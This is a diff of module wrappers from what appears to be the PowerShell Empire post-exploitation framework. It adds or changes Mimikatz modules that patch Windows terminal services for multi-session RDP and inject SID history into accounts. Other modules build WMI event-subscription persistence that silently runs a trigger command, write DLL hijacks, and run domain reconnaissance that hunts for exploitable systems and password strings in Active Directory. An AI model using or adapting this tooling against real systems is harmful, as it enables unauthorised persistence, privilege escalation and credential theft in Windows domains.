def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Invoke-MapDomainTrusts',
|
||||
'Name': 'Invoke-Mimikatz Multirdp',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
'Author': ['@gentilkiwi', '@JosephBialek'],
|
||||
|
||||
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
|
||||
'Description': ("[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz "
|
||||
"function to patch the Windows terminal service to allow "
|
||||
"multiple users to establish simultaneous RDP connections."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
'NeedsAdmin' : True,
|
||||
|
||||
'OpsecSafe' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
'http://blog.gentilkiwi.com',
|
||||
'http://clymb3r.wordpress.com/'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -34,18 +37,13 @@ class Module:
|
|||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
|
@ -56,7 +54,7 @@ class Module:
|
|||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -69,11 +67,6 @@ class Module:
|
|||
|
||||
script = moduleCode
|
||||
|
||||
if self.options['LDAP']['Value'].lower() == "true":
|
||||
script += "Invoke-MapDomainTrustsLDAP | ConvertTo-Csv -NoTypeInformation"
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrustsLDAP completed"'
|
||||
else:
|
||||
script += "Invoke-MapDomainTrusts | ConvertTo-Csv -NoTypeInformation"
|
||||
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrusts completed"'
|
||||
script += "Invoke-Mimikatz -Command '\"ts::multirdp\"';"
|
||||
|
||||
return script
|
|
@ -178,17 +178,17 @@ class Module:
|
|||
minutes = parts[1]
|
||||
|
||||
# create the WMI event filter for a system time
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
|
||||
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
|
||||
|
||||
else:
|
||||
# create the WMI event filter for OnStartup
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
|
||||
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
|
||||
statusMsg += " with OnStartup WMI subsubscription trigger."
|
||||
|
||||
|
||||
# add in the event consumer to launch the encrypted script contents
|
||||
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
|
||||
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
|
||||
|
||||
# bind the filter and event consumer together
|
||||
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
|
||||
|
|
|
@ -44,7 +44,7 @@ class Module:
|
|||
'Value' : ''
|
||||
},
|
||||
'Groups' : {
|
||||
'Description' : 'Groups/users to add to the sidhistory of the target user (space-separated).',
|
||||
'Description' : 'Groups/users to add to the sidhistory of the target user (COMMA-separated).',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -77,8 +77,11 @@ class Module:
|
|||
|
||||
script = moduleCode
|
||||
|
||||
# ridiculous escape format
|
||||
groups = " ".join(['"\\""'+group.strip().strip("'\"")+'"""' for group in self.options["Groups"]['Value'].split(",")])
|
||||
|
||||
# build the custom command with whatever options we want
|
||||
command = "misc::addsid "+self.options["User"]['Value'] + " " + self.options["Groups"]['Value']
|
||||
command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups
|
||||
|
||||
# base64 encode the command to pass to Invoke-Mimikatz
|
||||
script += "Invoke-Mimikatz -Command '\"" + command + "\"';"
|
||||
|
|
|
@ -122,6 +122,6 @@ class Module:
|
|||
print helpers.color("[!] Error in launcher .bat generation.")
|
||||
return ""
|
||||
else:
|
||||
script += "Write-HijackDll -HijackPath '"+hijackPath+"';"
|
||||
|
||||
# script += "Write-HijackDll -HijackPath '"+hijackPath+"';"
|
||||
script += "Write-HijackDll -OutputFile '"+str(hijackPath)+"' -BatPath '"+str(batPath)+"';"
|
||||
return script
|
||||
|
|
|
@ -0,0 +1,116 @@
|
|||
import base64
|
||||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-Fruit',
|
||||
|
||||
'Author': ['@424f424f'],
|
||||
|
||||
'Description': ("Searches a network range for potentially vulnerable web services."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'Inspired by mattifestation Get-HttpStatus in PowerSploit'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Rhosts' : {
|
||||
'Description' : 'Specify the CIDR range or host to scan.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Port' : {
|
||||
'Description' : 'Specify the port to scan.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Path' : {
|
||||
'Description' : 'Specify the path to a dictionary file.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Timeout' : {
|
||||
'Description' : 'Set timeout for each connection in milliseconds',
|
||||
'Required' : False,
|
||||
'Value' : '50'
|
||||
},
|
||||
'UseSSL' : {
|
||||
'Description' : 'Force SSL useage.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'ShowAll' : {
|
||||
'Description' : 'Switch. Show all results (default is to only show 200s).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Find-Fruit.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
script += "\nFind-Fruit"
|
||||
|
||||
showAll = self.options['ShowAll']['Value'].lower()
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent" and option.lower() != "showall":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
if showAll != "true":
|
||||
script += " | ?{$_.Status -eq 'OK'}"
|
||||
|
||||
script += " | Format-Table -AutoSize | Out-String"
|
||||
|
||||
return script
|
|
@ -22,7 +22,7 @@ class Module:
|
|||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WinEnum.ps1'
|
||||
'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WindowsEnum.ps1'
|
||||
]
|
||||
}
|
||||
|
||||
|
@ -35,25 +35,15 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Keyword' : {
|
||||
'Description' : 'Specify a keyword to use in file searches.',
|
||||
'Keywords' : {
|
||||
'Description' : 'Array of keywords to use in file searches.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserInfo' : {
|
||||
'Description' : 'Switch. Enumerate user information.',
|
||||
'UserName' : {
|
||||
'Description' : 'UserName to enumerate. Defaults to the current user context.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'SysInfo' : {
|
||||
'Description' : 'Switch. Enumerate system information of the current host.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
},
|
||||
'NetInfo' : {
|
||||
'Description' : 'Switch. Enumerate the current network.',
|
||||
'Required' : False,
|
||||
'Value' : 'True'
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -1,108 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainController',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Returns the domain controllers for the current domain or '
|
||||
'the specified domain.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for domain controllers.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
script = """
|
||||
function Get-NetDomain {
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[String]
|
||||
$Domain
|
||||
)
|
||||
|
||||
if($Domain -and ($Domain -ne "")){
|
||||
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
|
||||
try {
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
|
||||
}
|
||||
catch{
|
||||
Write-Warning "The specified domain $Domain does not exist, could not be contacted, or there isn't an existing trust."
|
||||
$Null
|
||||
}
|
||||
}
|
||||
else{
|
||||
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||||
}
|
||||
}
|
||||
|
||||
function Get-NetDomainController {
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[string]
|
||||
$Domain
|
||||
)
|
||||
|
||||
$d = Get-NetDomain -Domain $Domain
|
||||
if($d){
|
||||
$d.DomainControllers
|
||||
}
|
||||
}
|
||||
"""
|
||||
|
||||
script += "Get-NetDomainController "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
return script
|
|
@ -1,83 +0,0 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetDomainTrusts',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Return all domain trusts for the current domain or '
|
||||
'a specified domain. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'Specific domain to query for trusts, defaults to current.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'LDAP' : {
|
||||
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
|
||||
if self.options['LDAP']['Value'].lower() == "true":
|
||||
script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};"
|
||||
else:
|
||||
script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};"
|
||||
|
||||
return script
|
|
@ -0,0 +1,114 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-ExploitableSystem',
|
||||
|
||||
'Author': ['Scott Sutherland (@_nullbind)'],
|
||||
|
||||
'Description': ('Queries Active Directory for systems likely vulnerable to various '
|
||||
'Metasploit exploits.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'Return computers with a specific name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SPN' : {
|
||||
'Description' : 'Return computers with a specific service principal name, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'OperatingSystem' : {
|
||||
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Ping' : {
|
||||
'Description' : "Switch. Ping each host to ensure it's up before enumerating.",
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,104 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ComputerField',
|
||||
|
||||
'Author': ['@obscuresec', '@harmj0y'],
|
||||
|
||||
'Description': ("Searches computer object fields for a given word (default *pass*). Default field being searched is 'description'. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html',
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchTerm' : {
|
||||
'Description' : 'Term to search for, default of "pass".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SearchField' : {
|
||||
'Description' : 'Field to search in, default of "description".',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,98 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-ForeignGroup',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ("Enumerates all the members of a given domain's groups and finds users that are not in the queried domain. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'GroupName' : {
|
||||
'Description' : 'Groupname to filter results for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
}
|
||||
|
||||
# save off a copy of the mainMenu object to access external functionality
|
||||
# like listeners/agent handlers/etc.
|
||||
self.mainMenu = mainMenu
|
||||
|
||||
for param in params:
|
||||
# parameter format is [Name, Value]
|
||||
option, value = param
|
||||
if option in self.options:
|
||||
self.options[option]['Value'] = value
|
||||
|
||||
|
||||
def generate(self):
|
||||
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
except:
|
||||
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||
return ""
|
||||
|
||||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
if values['Value'] and values['Value'] != '':
|
||||
if values['Value'].lower() == "true":
|
||||
# if we're just adding a switch
|
||||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -5,11 +5,11 @@ class Module:
|
|||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Get-NetUser',
|
||||
'Name': 'Find-ForeignUser',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Query information for a given user or users in the specified domain.'),
|
||||
'Description': ("Enumerates users who are in groups outside of their principal domain. Part of PowerView."),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
|
@ -35,23 +35,18 @@ class Module:
|
|||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'OU' : {
|
||||
'Description' : 'The OU to pull users from.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserName' : {
|
||||
'Description' : 'Username filter string, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Filter' : {
|
||||
'Description' : 'The complete LDAP query string to use to query for users.',
|
||||
'Description' : 'Username to filter results for, wildcards accepted.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'Domain' : {
|
||||
'Description' : 'The domain to query for computers.',
|
||||
'Description' : 'The domain to use for the query, defaults to the current domain.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'DomainController' : {
|
||||
'Description' : 'Domain controller to reflect LDAP queries through.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
}
|
||||
|
@ -70,8 +65,10 @@ class Module:
|
|||
|
||||
def generate(self):
|
||||
|
||||
# read in the common module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetUser.ps1"
|
||||
moduleName = self.info["Name"]
|
||||
|
||||
# read in the common powerview.ps1 module source code
|
||||
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
|
||||
|
||||
try:
|
||||
f = open(moduleSource, 'r')
|
||||
|
@ -82,9 +79,10 @@ class Module:
|
|||
moduleCode = f.read()
|
||||
f.close()
|
||||
|
||||
script = moduleCode
|
||||
# get just the code needed for the specified function
|
||||
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
|
||||
|
||||
script += "Get-NetUser "
|
||||
script += moduleName + " "
|
||||
|
||||
for option,values in self.options.iteritems():
|
||||
if option.lower() != "agent":
|
||||
|
@ -94,7 +92,7 @@ class Module:
|
|||
script += " -" + str(option)
|
||||
else:
|
||||
script += " -" + str(option) + " " + str(values['Value'])
|
||||
|
||||
script += " | Out-String"
|
||||
|
||||
|
||||
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
|
||||
|
||||
return script
|
|
@ -0,0 +1,113 @@
|
|||
from lib.common import helpers
|
||||
|
||||
class Module:
|
||||
|
||||
def __init__(self, mainMenu, params=[]):
|
||||
|
||||
self.info = {
|
||||
'Name': 'Find-GPOComputerAdmin',
|
||||
|
||||
'Author': ['@harmj0y'],
|
||||
|
||||
'Description': ('Takes a computer (or GPO) object and determines what users/groups have administrative access over it. Part of PowerView.'),
|
||||
|
||||
'Background' : True,
|
||||
|
||||
'OutputExtension' : None,
|
||||
|
||||
'NeedsAdmin' : False,
|
||||
|
||||
'OpsecSafe' : True,
|
||||
|
||||
'MinPSVersion' : '2',
|
||||
|
||||
'Comments': [
|
||||
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
|
||||
]
|
||||
}
|
||||
|
||||
# any options needed by the module, settable during runtime
|
||||
self.options = {
|
||||
# format:
|
||||
# value_name : {description, required, default_value}
|
||||
'Agent' : {
|
||||
'Description' : 'Agent to run module on.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
},
|
||||
'ComputerName' : {
|
||||
'Description' : 'The computer to determine local administrative access to.',
|
||||
'Required' : False,
